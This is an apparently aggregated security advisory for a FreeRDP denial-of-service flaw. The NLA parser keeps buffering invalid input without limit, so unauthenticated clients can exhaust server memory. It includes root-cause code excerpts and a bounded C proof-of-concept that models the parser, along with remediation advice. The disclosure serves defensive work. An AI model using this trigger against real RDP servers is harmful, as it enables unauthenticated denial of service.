Unbounded buffering in FreeRDP NLA lets clients exhaust memory
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- None
- Attack complexity
- Low
- Impact type
- Denial of service
- Confidentiality · integrity · availability
- None · None · High
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-qpfh-m9w6-xf2x. Fix status from GitHub. Impact type from CWE-400.
Summary
FreeRDP versions from 3.0.0 before 3.32.0 are affected. The NLA frame parser returns zero for an invalid first byte, and the transport reader keeps buffering incoming bytes without any limit (CWE-400). An unauthenticated remote client can trigger this on an NLA enabled FreeRDP server after the TLS handshake, before credentials are checked, exhausting process memory.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
### Summary An unauthenticated network client can connect to an NLA-enabled FreeRDP server, complete the TLS handshake, and then stream bytes beginning with a value other than the DER `SEQUENCE` tag `0x30`. FreeRDP's NLA frame parser returns zero for this definitively invalid prefix, using the same result as an incomplete valid header. The transport reader responds by appending one byte and parsing again from the unchanged invalid first byte. Its receive buffer grows for as long as the peer supplies data. The attack occurs before any RDP credential is accepted. It does not bypass NLA, disclose data, or demonstrate memory corruption. The security impact is availability: concurrent unauthenticated connections can consume process memory and connection-handling resources without reaching authentication. The affected parser split first shipped in FreeRDP 3.0.0. The behavior is present in the 3.0.0 and 3.31.1 release sources and current `master`. ### Root cause and reachability On the server path, `rdp_server_accept_nego` selects `PROTOCOL_HYBRID` when NLA is permitted. `transport_accept_nla` then completes TLS, enables `NlaMode`, and calls `nla_authenticate`. The peer-controlled decrypted bytes consequently reach `transport_default_read_pdu` before credential authentication. FreeRDP Shadow enables NLA by default; other library consumers choose their security settings. In `libfreerdp/core/transport.c`, `parse_nla_mode_pdu` initializes `pduLength` to zero: ```c SSIZE_T pduLength = 0; ``` The function reads the first byte and enters its only length-decoding branch when that byte is `0x30`: ```c UINT8 typeEncoding = 0; if (Stream_GetRemainingLength(s) < 1) return 0; Stream_Read_UINT8(s, typeEncoding); if (typeEncoding == 0x30) { ``` After that branch closes, every path reaches the same return: ```c return pduLength; ``` For any other first byte, `transport_parse_pdu` returns zero and leaves `incomplete` true. `transport_default_read_pdu` then enters this loop: ```c status = transport_parse_pdu(transport, s, &incomplete); while ((status == 0) && incomplete) { if (!Stream_EnsureRemainingCapacity(s, 1)) return -1; SSIZE_T rc = transport_read_layer_bytes(transport, s, 1); if (rc > INT32_MAX) return INT32_MAX; if (rc != 1) return (int)rc; status = transport_parse_pdu(transport, s, &incomplete); } ``` Every parse restarts at the receive buffer's first byte. Appending more bytes can therefore never make an invalid `0x41` prefix valid, but there is no invalid-tag transition or aggregate buffering limit. ### Security impact The supplied production-parser trigger was executed unchanged for three seconds and reported: ```text NLA_SPIN len=879360 cap=879360 ``` The monotonically growing length and capacity show that every supplied byte remains buffered while the reader makes no framing progress. The same reader given a complete DER `30 00` control returned immediately: ```text valid_der_rc=2 length=2 capacity=16384 ``` The peer must complete TLS, but needs no username, password, prior session, or local access. Growth is bounded by incoming data rate, parser work, allocator behavior, and external process or host limits; FreeRDP applies no frame-level aggregate cap in this path. Confidentiality and integrity impacts were not found. ### Proof of concept The following four files form the complete portable PoC. It is a bounded standard-C transcription of the decisive FreeRDP 3.31.1 NLA parser branches and the one-byte append loop. The 16 MiB cap belongs only to the reproducer; the affected FreeRDP path has no equivalent aggregate limit. <!-- BEGIN FILE: nla_spin.c --> ```c /* * Bounded, source-faithful model of FreeRDP 3.31.1 NLA framing. * * The production parser returns zero both for an incomplete DER header and for * an impossible first tag. The production read loop treats zero as incomplete, * appends one byte, and retries from the original first byte. This program puts * a 16 MiB demonstration cap around that otherwise unbounded state transition. */ #include <inttypes.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #define DEMO_LIMIT (16u * 1024u * 1024u) static int64_t parse_nla_mode_pdu(const uint8_t* data, size_t length) { int64_t pduLength = 0; if (length < 1) return 0; const uint8_t typeEncoding = data[0]; if (typeEncoding == 0x30) { if (length < 2) return 0; const uint8_t lengthEncoding = data[1]; if (lengthEncoding & 0x80) { const uint8_t lengthBytes = lengthEncoding & (uint8_t)~0x80; if (lengthBytes == 1) { if (length < 3) return 0; pduLength = (int64_t)data[2] + 3; } else if (lengthBytes == 2) { if (length < 4) return 0; pduLength = (int64_t)(((uint16_t)data[2] << 8) | data[3]) + 4; } else { return -1; } } else { pduLength = (int64_t)lengthEncoding + 2; } } return pduLength; } int main(void) { uint8_t* buffer = NULL; size_t length = 0; size_t capacity = 0; int64_t status = 0; while ((status == 0) && (length < DEMO_LIMIT)) { if (length == capacity) { size_t next = capacity ? capacity * 2 : 16384; if (next > DEMO_LIMIT) next = DEMO_LIMIT; uint8_t* grown = realloc(buffer, next); if (!grown) { free(buffer); return 2; } buffer = grown; capacity = next; } buffer[length++] = 0x41; status = parse_nla_mode_pdu(buffer, length); } printf("NLA_SPIN len=%zu cap=%zu parser_status=%" PRId64 "\n", length, capacity, status); free(buffer); return ((length == DEMO_LIMIT) && (status == 0)) ? 0 : 3; } ``` <!-- END FILE: nla_spin.c --> <!-- BEGIN FILE: nla_control.c --> ```c /* Complete DER SEQUENCE control for the FreeRDP 3.31.1 NLA framing logic. */ #include <inttypes.h> #include <stdint.h> #include <stdio.h> static int64_t parse_nla_mode_pdu(const uint8_t* data, size_t length) { int64_t pduLength = 0; if (length < 1) return 0; const uint8_t typeEncoding = data[0]; if (typeEncoding == 0x30) { if (length < 2) return 0; const uint8_t lengthEncoding = data[1]; if (lengthEncoding & 0x80) { const uint8_t lengthBytes = lengthEncoding & (uint8_t)~0x80; if (lengthBytes == 1) { if (length < 3) return 0; pduLength = (int64_t)data[2] + 3; } else if (lengthBytes == 2) { if (length < 4) return 0; pduLength = (int64_t)(((uint16_t)data[2] << 8) | data[3]) + 4; } else { return -1; } } else { pduLength = (int64_t)lengthEncoding + 2; } } return pduLength; } int main(void) { static const uint8_t validDer[] = { 0x30, 0x00 }; const int64_t rc = parse_nla_mode_pdu(validDer, sizeof(validDer)); printf("valid_der_rc=%" PRId64 " length=%zu\n", rc, sizeof(validDer)); return (rc == 2) ? 0 : 3; } ``` <!-- END FILE: nla_control.c --> <!-- BEGIN FILE: run.sh --> ```sh #!/bin/sh set -eu BASE_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) OUTPUT=${OUTPUT:-"$BASE_DIR/.build"} CC=${CC:-cc} mkdir -p "$OUTPUT" "$CC" -std=c11 -O2 -Wall -Wextra -pedantic \ "$BASE_DIR/nla_spin.c" -o "$OUTPUT/nla_spin" "$CC" -std=c11 -O2 -Wall -Wextra -pedantic \ "$BASE_DIR/nla_control.c" -o "$OUTPUT/nla_control" "$OUTPUT/nla_spin" | tee "$OUTPUT/attack.txt" grep -q '^NLA_SPIN len=16777216 cap=16777216 parser_status=0$' "$OUTPUT/attack.txt" "$OUTPUT/nla_control" | tee "$OUTPUT/control.txt" grep -q '^valid_der_rc=2 length=2$' "$OUTPUT/control.txt" ``` <!-- END FILE: run.sh --> <!-- BEGIN FILE: README.md --> ````markdown # FreeRDP NLA framing buffer-growth reproducer This bounded standard-C harness models the NLA framing decision and one-byte read loop from FreeRDP 3.31.1. `nla_spin.c` feeds an invalid first tag (`0x41`) and demonstrates that the parser still returns the incomplete status after the buffer reaches the harness's 16 MiB safety cap. `nla_control.c` feeds a complete two-byte DER `SEQUENCE` and returns its frame length immediately. The safety cap belongs only to this reproducer. The affected FreeRDP read loop has no equivalent aggregate cap. Build and run both cases from the report directory: ```sh cd poc ./run.sh ``` A successful run prints: ```text NLA_SPIN len=16777216 cap=16777216 parser_status=0 valid_der_rc=2 length=2 ``` The first line shows that appending 16 MiB does not change the parser's incomplete result because it reparses the same invalid first byte. The control distinguishes this condition from an ordinary complete NLA frame. ```` <!-- END FILE: README.md --> Run from the report directory: ```sh cd poc ./run.sh ``` Observed output: ```text NLA_SPIN len=16777216 cap=16777216 parser_status=0 valid_der_rc=2 length=2 ``` ### Suggested remediation Make `parse_nla_mode_pdu` return a fatal framing error once at least one byte is available and that byte is not the permitted DER `SEQUENCE` tag. Reserve zero exclusively for potentially valid but incomplete headers. Add a conservative aggregate cap for buffered authentication frames so a future parser error cannot grow the receive buffer indefinitely. Regression tests should cover invalid first tags, partial valid DER headers, the complete `30 00` control, accepted one-byte and two-byte length encodings, and repeated malformed connections in both server and client NLA states.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | >= 3.0.0 | 3.32.0 | Patch available | GHSA-qpfh-m9w6-xf2x |
- FreeRDP (c) Vendor— Affected >= 3.0.0 Fixed in 3.32.0 Patch available GHSA-qpfh-m9w6-xf2x
Remediation
Upgrade FreeRDP to version 3.32.0, which fixes this issue.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-qpfh-m9w6-xf2x FreeRDP (c) Fixed in 3.32.0 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-qpfh-m9w6-xf2x
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences